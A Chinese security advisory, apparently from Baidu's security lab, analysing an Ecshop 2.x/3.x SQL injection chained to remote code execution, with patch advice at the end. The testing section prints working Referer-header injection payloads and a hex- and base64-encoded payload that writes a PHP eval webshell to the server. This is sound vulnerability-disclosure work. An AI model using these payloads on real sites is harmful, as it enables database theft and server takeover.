Ecshop 2.x/3.x SQL注入/任意代码执行漏洞

Posted 2021-04-11 百度安全实验室

近日，Ecshop爆出全版本SQL注入及任意代码执行漏洞，受影响的版本有：

• Ecshop 2.x

• Ecshop 3.x-3.6.0

  
  

该漏洞产生的根本原因在于Ecshop系统的user.php文件中，display()函数的模版变量可控，在显示运行模版的时候，使用了动态函数调用，在insert_ads()函数中将用户可控的参数直接拼接到了SQL语句中，导致SQL注入漏洞。配合SQL注入漏洞可以进行远程任意代码执行，攻击者无需登录，可直接获取站点的Webshell。

0x01 漏洞分析

1、SQL注入漏洞
在user.php文件代码中可以看到，获取HTTP_REFERER传递过来的内容，赋值给变量$back_act，assign()函数将该变量传递给了模版文件，代码片段如图：

Ecshop使用了php模版引擎smarty，该引擎有两个基本的函数assign()、display()。assign()函数用于在模版执行时为模版变量赋值，display()函数用于显示模版。smarty运行时，会读取模版文件，将模版文件中的占位符替换成assign()函数传递过来的参数值，并输出一个编译处理后的php文件，交由服务器运行。
在includes/init.php文件中创建了Smarty对象cls_template来处理模版文件，对应的文件是includes/cla_template.php，如图所示：

查看includes/cls_template.php文件中的display()函数，其中调用了fetch()函数，fetch()函数是将填充参数之后的模版文件输出给变量$out，最终调用explode()函数将变量$out打散为数组，_echash相同版本固定给了insert_mod()函数，如图：

查看insert_mod()函数的代码，首先是将用户可控的参数用”|”符号分割为一个数组，将数组中的值赋值给了两个变量$fun和$para,接着对“|”符号之后的变量$para进行反序列化，生成了数组$para，最后返回了一个动态函数调用。其中用$fun参数的值作为函数名的一部分，$para数组作为参数，并且函数名是以“insert_“开头的，如图：

查看所有的以“insert_”开头的函数，其中insert_ads()、insert_bought_notes()函数是可以进行利用的，传入这两个函数的数组是可控的，并且拼接了SQL语句，因此存在SQL注入漏洞。代码片段分别如图所示：

2、任意代码执行漏洞分析
在includes/lib_insert.php文件中，将查询结果中position_style字段的值赋值给了变量$position_style。配合前文中提到的SQL注入漏洞，改变SQL注入payload，后端执行的SQL语句为：

SELECT a.ad_id, a.position_id, a.media_type, a.ad_link, a.ad_code, a.ad_name, p.ad_width, p.ad_height, p.position_style, RAND() ASrnd FROM ecs_ad AS a LEFT JOIN ecs_ad_position AS p ON a.position_id = p.position_id WHERE enabled =1 AND start_time <='1535678679' AND end_time>='1535678679' AND a.position_id=''/*' ORDER BY rnd LIMIT */unionselect1,0x272f2a,3,4,5,6,7,8,0x7b24617364275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a7a4575644868304a79776e5a3256306332686c6247776e4b513d3d2729293b2f2f7d787878,10-- -

该SQL语句的查询结果中可以看到position_style字段的值，如图：

$position_style变量作为参数传递给了fetch()函数，代码片段如图：

查看includes/cls_template.php文件中的fetch()函数，调用了危险函数eval()，这就是最终触发任意代码执行漏洞的点，并且传入的参数被fetch_str()函数进行了处理，如图：

跟进fetch_str()函数，使用了preg_replace()函数，配合其e模式，对source参数进行了替换，相关代码如图：

以任意代码执行漏洞利用payload为例，返回的结果是：

$this->select("$asd'];assert(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJzEudHh0JywnZ2V0c2hlbGwnKQ=='));//")

继续查看select()函数，满足tag{0}==’$’的条件，调用了get_val()函数，如图：

get_val()函数又调用了make_var()函数，传入的参数满足if的判断条件，最终生成并返回了参数$p。代码片段如下：

总结任意代码执行漏洞，整个函数调用过程如下：
fetch()—>_eval()—>fetch_str()—>select()—>get_val()—>make_var()
当利用payload传入到_eval函数之后，执行的最终payload为：

<?php echo $this-

>_var['asd'];assert(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJzEudHh0JywnZ2V0c2hlbGwnKQ=='));//']; ?>xxx

0x02 测试方法

1、SQL注入漏洞
攻击者修改请求中Referer的值为如下Payload：

554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:72:"0,1

procedure analyse(extractvalue(rand(),concat(0x7e,version())),1)-- -";s:2:"id";i:1;}

经过一系列函数的处理之后，最终传递给insert_ads()函数的$arr参数是一个数组，其内容为：

Array

(

    [num] => 0,1procedure analyse(extractvalue(rand(),concat(0x7e,user())),1)-- -

    [id] => 1

)

如图所示：

因此，后端最终执行的SQL语句为：

SELECT a.ad_id,a.position_id,a.media_type,a.ad_link,a.ad_code,a.ad_name,p.ad_width,p.ad_height,p.position_style,RAND() AS rnd FROM ecs_ad AS a LEFT JOIN ecs_ad_position AS p ON a.position_id=p.position_id WHERE enabled = 1 AND start_time <='1535678679' AND end_time>='1535678679' AND a.position_id='1' ORDER BY rnd LIMIT 0,1 procedure analyse(extractvalue(rand(),concat(0x7e,user())),1)-- -




如图在漏洞环境的后端执行之后查询结果如下图所示：

具体的漏洞测试如图所示：

2、任意代码执行漏洞
任意代码执行漏洞写入webshell payload如下：

554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:280:"*/ union select 1,0x272f2a,3,4,5,6,7,8,0x7b24617364275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a7a4575634768774a79776e50443977614841675a585a686243676b58314250553152624d544d7a4e3130704f79412f506963702729293b2f2f7d787878,10-- -";s:2:"id";s:3:"'/*";}




以上Payload，对16进制转字符串之后，内容如下：

{$asd'];assert(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJzEucGhwJywnPD9waHAgZXZhbCgkX1BPU1RbMTMzN10pOyA/Picp'));//}xxx




其中Base64编码的内容是执行file_put_content()函数，解码之后具体代码如下：

file_put_contents('1.php','<?php eval($_POST[1337]); ?>')

漏洞利用请求发送之后，通过前文中的提到一系列函数调用处理过程：

fetch()—>_eval()—>fetch_str()—>select()—>get_val()—>make_var()，最终传递给eval()函数的$content的参数值为：

<?php echo$this->_var['asd'];assert(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJzEudHh0JywnZ2V0c2hlbGwnKQ=='));//']; ?>xxx

如图所示：

eval()函数最终执行向服务器写入了一句话木马。需要注意的是，如果改变了漏洞利用Payload，如webshell文件名、一句话密码等，相应的要改变”s:280”中的数字，改成对应字符串数量。

0x03 修复建议

Ecshop 3.6.0版本中参数$_echash的值发生了变化，并且对该漏洞写shell的利用进行了防御，该防御措施会被绕过，因此通过升级到最新版3.6.0的方式无法修复该漏洞。建议使用临时解决方案降低被入侵的风险，方法如下：

1、建议在include/lib_insert.php文件的insert_ads()、insert_bought_notes()函数中将$arr[id]和$arr[num]强制转换成整型；

2、以insert_ads()函数为例，也可以在条件判断语句中加入is_int()函数判断$arr[id]、$arr[num]参数是否为整型。针对insert_ads()函数的漏洞修复代码示例：

0x04 结语

本文分析的是Ecshop 2.7.3版本的源代码，测试Payload只适用于Ecshop 2.x版本。在3.x版本中，$_echash的值发生了变化，并且增加了防御措施。该漏洞利用难度较小，危害较大，建议使用Ecshop的用户尽快进行修复处理。

参考连接：

http://ringk3y.com/2018/08/31/ecshop2-x代码执行/